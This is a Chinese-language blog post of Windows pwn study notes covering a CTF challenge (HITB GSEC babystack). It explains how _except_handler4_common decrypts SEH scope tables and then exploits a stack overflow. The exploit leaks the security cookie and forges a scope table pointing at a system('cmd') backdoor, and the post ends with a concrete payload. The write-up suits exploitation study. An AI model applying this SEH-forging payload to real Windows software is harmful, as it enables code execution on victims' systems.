WINDOWS pwn 学习笔记(持续更新)

感谢网上师傅们博客分享 (EX) 点击查看

SEH 保护

如果开启了 SEH 保护, 我们可以在main 函数开始的地方找到 对应的 汇编指令

例题

HITB GSEC WIN PWN BABYSTACK
在函数开始的 时候 会布置一个 栈情况

布置的 栈情况为

在 程序 循行的 时候 会运行 一些方法
_except_handler4 ---> ebp - 4

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer){
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3
 
    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
 
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
 
    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;
 
    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);
 
    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

利用 _except_handler4_common 函数 执行操作

  1. 利用到 securityCookies 异或 (sehFrame + 8) 解密 得到 scopeTable_1
  2. 根据 栈 情况得到 framePointerscopeTable
  3. 执行一些列 操作 可以看 源码

在这个 大函数中 调用到了 scope table 里面的 filterFunchandlerFunc 函数 因为 程序有 后门函数 , 如果我们 想调用这个后门函数,我们需要伪造一个 scope table 然后将 里面的 filterFunchandlerFunc 函数 改为后面函数,只要溢出覆盖了 以前的 scope table 我们就能 执行 后门函数。

实现

我们用 能得到 main 地址
于是计算 后面 函数 system("cmd") ----> main_addr + 733
利用任意地址 泄露 得到 security_cookie -----> main_addr + 12116
然后 通过 溢出布置 栈情况 从而实现 后面函数的 调用


然后 用 Security_cookie 异或 ScopeTable

被修改

在程序 运行的结尾我们 发现调用的 是 exit 函数 如果我们 覆盖 ret 地址是不能 执行我们想要的 ret 结果的
利用的 方法是 利用 SEH 异常处理函数

**Scope table ---> 指向结构体 **

最后会 调用 terminal func (handler function)

就要想办法 放置 一个 fake_scope_table 然后通过 溢出 修改 原本的值 是 加密的 ScopeTable 指向这个 fake_scope_table 这样我们就能得到目的了

所以 布置 的结构为


SCOPETABLE = [ 
    0x0FFFFFFFE, 
    0, 
    0x0FFFFFFCC,
    0, 
    0xFFFFFFFE, 
    main_address + 733,
    ]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注